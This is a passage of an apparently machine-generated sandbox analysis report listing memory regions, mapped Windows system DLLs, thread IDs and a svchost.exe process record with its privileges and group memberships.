mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1487 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1488 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1489 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1490 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1491 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1492 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1493 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1494 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1495 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1496 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1497 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1498 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1499 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1500 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1501 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1502 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1503 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1504 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1505 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1506 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1507 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1508 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1509 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1510 start_va = 0x380000 end_va = 0x507fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1511 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1512 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1513 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1514 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1515 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 1516 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1517 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1518 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1519 start_va = 0x510000 end_va = 0x690fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 1520 start_va = 0x6a0000 end_va = 0x75ffff entry_point = 0x6a0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1521 start_va = 0x790000 end_va = 0x7cffff entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 1522 start_va = 0x800000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1523 start_va = 0x9f0000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1524 start_va = 0xb60000 end_va = 0x1f5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 1525 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1526 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1527 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 1528 start_va = 0x75040000 end_va = 0x7509bfff entry_point = 0x75040000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 1529 start_va = 0x750a0000 end_va = 0x750a9fff entry_point = 0x750a0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 1530 start_va = 0x840000 end_va = 0x93ffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 1531 start_va = 0x970000 end_va = 0x9affff entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 1532 start_va = 0x75010000 end_va = 0x75038fff entry_point = 0x75010000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 1533 start_va = 0x1f60000 end_va = 0x222efff entry_point = 0x1f60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1534 start_va = 0x22a0000 end_va = 0x22dffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1535 start_va = 0x2310000 end_va = 0x234ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 1536 start_va = 0x74ff0000 end_va = 0x75005fff entry_point = 0x74ff0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1537 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1538 start_va = 0x74fb0000 end_va = 0x74feafff entry_point = 0x74fb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1539 start_va = 0x74fa0000 end_va = 0x74fadfff entry_point = 0x74fa0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 1540 start_va = 0xa40000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 1541 start_va = 0xa90000 end_va = 0xacffff entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1542 start_va = 0xb00000 end_va = 0xb3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 1543 start_va = 0x2380000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 1544 start_va = 0x74f90000 end_va = 0x74f9efff entry_point = 0x74f90000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 1545 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1546 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1805 start_va = 0x74ed0000 end_va = 0x74ee7fff entry_point = 0x74ed0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 1806 start_va = 0x74ef0000 end_va = 0x74f85fff entry_point = 0x74ef0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 1885 start_va = 0x74eb0000 end_va = 0x74ec6fff entry_point = 0x74eb0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Thread: id = 28 os_tid = 0xb5c Thread: id = 29 os_tid = 0xb60 Thread: id = 30 os_tid = 0xb64 Thread: id = 31 os_tid = 0xb68 Thread: id = 32 os_tid = 0xb6c Process: id = "28" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x98f2000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "27" os_parent_pid = "0xb58" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cf06" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1547 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1548 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1549 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1550 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1551 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1552 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1553 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1554 start_va = 0x150000 end_va = 0x20ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1555 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1556 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1557 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1558 start_va = 0x240000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1559 start_va = 0x340000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 1560 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1561 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 1562 start_va = 0x760000 end_va = 0xb52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 1563 start_va = 0xb60000 end_va = 0xb60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 1564 start_va = 0xb70000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 1565 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1566 start_va = 0xb90000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 1567 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 1568 start_va = 0xc20000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1569 start_va = 0xca0000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 1570 start_va = 0xd20000 end_va = 0xd21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 1571 start_va = 0xd30000 end_va = 0xd33fff entry_point = 0xd30000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1572 start_va = 0xd40000 end_va = 0xd41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 1573 start_va = 0xd50000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 1574 start_va = 0xdd0000 end_va = 0xdfffff entry_point = 0xdd0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 1575 start_va = 0xe00000 end_va = 0xe7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1576 start_va = 0xe80000 end_va = 0xe83fff entry_point = 0xe80000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1577 start_va = 0xe90000 end_va = 0xe90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 1578 start_va = 0xea0000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 1579 start_va = 0xf20000 end_va = 0x11eefff entry_point = 0xf20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1580 start_va = 0x11f0000 end_va = 0x120bfff entry_point = 0x11f0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1581 start_va = 0x1210000 end_va = 0x128ffff entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 1582 start_va = 0x1290000 end_va = 0x1290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001290000" filename = "" Region: id = 1583 start_va = 0x12d0000 end_va = 0x134ffff entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 1584 start_va = 0x1370000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 1585 start_va = 0x13f0000 end_va = 0x1455fff entry_point = 0x13f0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1586 start_va = 0x1460000 end_va = 0x14dffff entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 1587 start_va = 0x14e0000 end_va = 0x14effff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 1588 start_va = 0x1540000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 1589 start_va = 0x15c0000 end_va = 0x163ffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1590 start_va = 0x1680000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 1591 start_va = 0x1720000 end_va = 0x179ffff entry_point = 0x0 region_type = private name = "private_0x0000000001720000" filename = "" Region: id = 1592 start_va = 0x17a0000 end_va = 0x181ffff entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 1593 start_va = 0x1870000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 1594 start_va = 0x1990000 end_va = 0x1a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 1595 start_va = 0x1a30000 end_va = 0x1aaffff entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 1596 start_va = 0x1b10000 end_va = 0x1b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b10000" filename = "" Region: id = 1597 start_va = 0x1ba0000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 1598 start_va = 0x1c20000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 1599 start_va = 0x1d50000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1600 start_va = 0x1e30000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 1601 start_va = 0x1f00000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1602 start_va = 0x1f80000 end_va = 0x22c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f80000" filename = "" Region: id = 1603 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1604 start_va = 0x24c0000 end_va = 0x253ffff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 1605 start_va = 0x2620000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 1606 start_va = 0x2700000 end_va = 0x277ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1607 start_va = 0x27a0000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 1608 start_va = 0x2820000 end_va = 0x289ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 1609 start_va = 0x2940000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 1610 start_va = 0x2a10000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 1611 start_va = 0x2b80000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 1612 start_va = 0x2c10000 end_va = 0x2d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c10000" filename = "" Region: id = 1613 start_va = 0x2d50000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 1614 start_va = 0x2ed0000 end_va = 0x2fcffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 1615 start_va = 0x2fe0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 1616 start_va = 0x3050000 end_va = 0x30cffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1617 start_va = 0x30d0000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x00000000030d0000" filename = "" Region: id = 1618 start_va = 0x3230000 end_va = 0x32affff entry_point = 0x0 region_type = private name = "private_0x0000000003230000" filename = "" Region: id = 1619 start_va = 0x32c0000 end_va = 0x32cffff entry_point = 0x0 region_type = private name = "private_0x00000000032c0000" filename = "" Region: id = 1620 start_va = 0x32f0000 end_va = 0x336ffff entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 1621 start_va = 0x3390000 end_va = 0x340ffff entry_point = 0x0 region_type = private name = "private_0x0000000003390000" filename = "" Region: id = 1622 start_va = 0x3410000 end_va = 0x350ffff entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 1623 start_va = 0x36d0000 end_va = 0x374ffff entry_point = 0x0 region_type = private name = "private_0x00000000036d0000" filename = "" Region: id = 1624 start_va = 0x37e0000 end_va = 0x385ffff entry_point = 0x0 region_type = private name = "private_0x00000000037e0000" filename = "" Region: id = 1625 start_va = 0x3870000 end_va = 0x38effff entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 1626 start_va = 0x3aa0000 end_va = 0x3b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003aa0000" filename = "" Region: id = 1627 start_va = 0x3b20000 end_va = 0x3b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b20000" filename = "" Region: id = 1628 start_va = 0x3bd0000 end_va = 0x3c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003bd0000" filename = "" Region: id = 1629 start_va = 0x3c90000 end_va = 0x3e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 1630 start_va = 0x3ec0000 end_va = 0x3f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 1631 start_va = 0x3f70000 end_va = 0x3feffff entry_point = 0x0 region_type = private name = "private_0x0000000003f70000" filename = "" Region: id = 1632 start_va = 0x4030000 end_va = 0x40affff entry_point = 0x0 region_type = private name = "private_0x0000000004030000" filename = "" Region: id = 1633 start_va = 0x41f0000 end_va = 0x426ffff entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 1634 start_va = 0x42a0000 end_va = 0x431ffff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 1635 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1636 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1637 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1638 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1639 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1640 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1641 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1642 start_va = 0x7fef6c80000 end_va = 0x7fef6ceafff entry_point = 0x7fef6c80000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1643 start_va = 0x7fef6cf0000 end_va = 0x7fef6d09fff entry_point = 0x7fef6cf0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1644 start_va = 0x7fef6d10000 end_va = 0x7fef6d8dfff entry_point = 0x7fef6d10000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" 